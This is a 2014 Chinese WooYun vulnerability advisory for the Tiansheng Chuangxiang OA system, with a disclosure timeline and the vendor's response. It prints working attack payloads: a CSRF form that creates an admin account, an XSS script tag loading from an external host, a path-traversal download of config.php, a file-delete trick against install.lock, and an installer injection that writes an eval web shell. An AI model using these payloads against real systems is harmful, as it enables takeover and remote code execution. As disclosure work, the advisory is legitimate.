当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(13) 关注此漏洞

缺陷编号: WooYun-2014-63844

漏洞标题: 天生创想OA办公系统漏洞大礼包(xss,csrf,下载,删除,写shell)

相关厂商: 天生创想

漏洞作者: JJ Fly

提交时间: 2014-06-09 11:58

公开时间: 2014-09-05 12:00

漏洞类型: 设计缺陷/逻辑错误

危害等级: 高

自评Rank: 20

漏洞状态: 已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: php源码分析

2人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-09: 细节已通知厂商并且等待厂商处理中
2014-06-12: 厂商已经确认,细节仅向厂商公开
2014-06-15: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-08-06: 细节向核心白帽子及相关领域专家公开
2014-08-16: 细节向普通白帽子公开
2014-08-26: 细节向实习白帽子公开
2014-09-05: 细节向公众公开

简要描述:

某OA办公系统漏洞大礼包(xss,csrf,下载,删除,写shell)

详细说明:

注:部分重复

首先我们在网站http://**.**.**.**/下载一份 本地安装。

程序安装地址

code 区域
**.**.**.**/install/install.php





1.先来一发csrf。

1.png



2.png



抓包如下 未发现任何防护措施 。

3.png



附上利用代码 (添加的还是管理员哦。)

code 区域
<form method='post' action='**.**.**.**/admin.php?ac=user&fileurl=mana&do=add'>
<input type='text' name='view' value='edit'>
<input type='text' name='username' value='testaaa2'>
<input type='text' name='password' value='testaaa2'>
<input type='text' name='groupid' value='1'>
<input type='text' name='departmentid' value='0'>
<input type='text' name='name' value='testaaa2'>
<input type='text' name='ischeck' value='1'>
<input type='text' name='keytype' value='2'>
</form>
<script>
document.forms[0].submit();
</script>





2.来一发xss+csrf

发送短消息这。 需要好好过滤一下!

4.png



5.png



下面我们来抓一下发送消息的数据包。

18.png



同样没有防护措施。

我们继续构造一下 csrf

code 区域
<form method='post' action='**.**.**.**/admin.php?ac=sms_online&do=save&fileurl=sms'>
<input type='text' name='savetype' value='add'>
<input type='text' name='receiveperson' value='管理员'>
<input type='text' name='content' value='<ScRipt/src=http://**.**.**.**/********I></scRiPt>'>
</form>
<script>
document.forms[0].submit();
</script>



来张效果图

7.png



8.png



好了,这样的话 ,只要随便有一个人中招就可以拿下他的管理员后台了。



3.再来一发任意文件下载

code 区域
**.**.**.**/down.php?urls=data/../config.php



漏洞 详情 请看源代码

code 区域
<?php
//下载文件
define('IN_ADMIN',True);
require_once('include/common.php');
get_login($_USER->id);
$filename=$_GET['urls'];
$phps=explode('/',$filename);
if($phps[0]!='data' && $phps[0]!='ntko'){
echo '下载失败!';
exit;
}
$phps1=explode('.',$filename);
if($phps1[1]=='php'){
echo '下载失败,请不要非法下载!';
exit;
}
header("Content-Type: application/force-download");
header("Content-Disposition: attachment; filename=".basename($filename));
readfile($filename);
?>



程序用 /进行分割 却只检测 $phps[0] 是不是为data 和ntko

然后不用 .进行分割 只检测$php1[1]

直接用 data/../config.php 就可以下载配置文件了。。



不过就想这样 拿到shell 还是不行的

4.任意文件删除

先随便备份一张表 然后再进行删除

系统设置-》

9.png



来抓包

10.png



我们来 构造下 把install.lock删除掉 。

C:\wamp\www\data\db\test.sql

C:\wamp\www\cache\install.lock

好的 ..\..\cache\install.lock

11.png



Post一下修改好的数据

然后你就会发现 install.lock被删除掉了





好了 install.lock删除掉了 我们来准备我们的shell吧。

5.修改config.php

删除掉install.lock之后 打开网址

code 区域
**.**.**.**/install/install.php



下一步两次 然后到了第三步

12.png



还记得 上面下载的config文件吗。

我们把 数据库用户名 和密码 都输入正确的

然后 在数据库名称中输入

aa');eval($_POST[0]);//

然后下一步。

13.png



config.php 中的'前加上了一个\ 不过不要紧 我们返回上一部

我们只需要在数据库名称中输入aa

然后下一步 即可

14.png



我们去看下config.php

15.png



16.png



好吧这是为什么呢。

下面附上关键代码

code 区域
$content = preg_replace("/define\('DB_HOST','(.*?)'\);/is", "define('DB_HOST','$dbhost');", $content);
$content = preg_replace("/define\('DB_USER','(.*?)'\);/is", "define('DB_USER','$dbuser');", $content);
$content = preg_replace("/define\('DB_PWD','(.*?)'\);/is", "define('DB_PWD','$dbpwd');", $content);
$content = preg_replace("/define\('DB_NAME','(.*?)'\);/is", "define('DB_NAME','$dbname');", $content);
$content = preg_replace("/define\('DB_TABLEPRE','(.*?)'\);/is", "define('DB_TABLEPRE','$dbprefix');", $content);
file_put_contents($confile, $content);





好吧 大礼包 到此结束!

漏洞证明:

15.png



16.png

修复方案:

你们更专业!!

版权声明:转载请注明来源 JJ Fly@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:17

确认时间:2014-06-12 08:58

厂商回复:

根据此前天生创想对http:///bugs/wooyun-2014-的拒绝处置情况,CNVD拟再次联系该公司尝试通报。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-06-25 18:56 | dlevr ( 实习白帽子 | Rank:33 漏洞数:10 | 菜鸟一只,大神勿喷!)
    1

    这公司这么叼,不如直接公布漏洞吧,让我们研究研究!

  2. 2014-07-02 10:30 | wefgod ( 核心白帽子 | Rank:1825 漏洞数:183 | 力不从心)
    1

    拒绝处置啊

登录后才能发表评论,请先 登录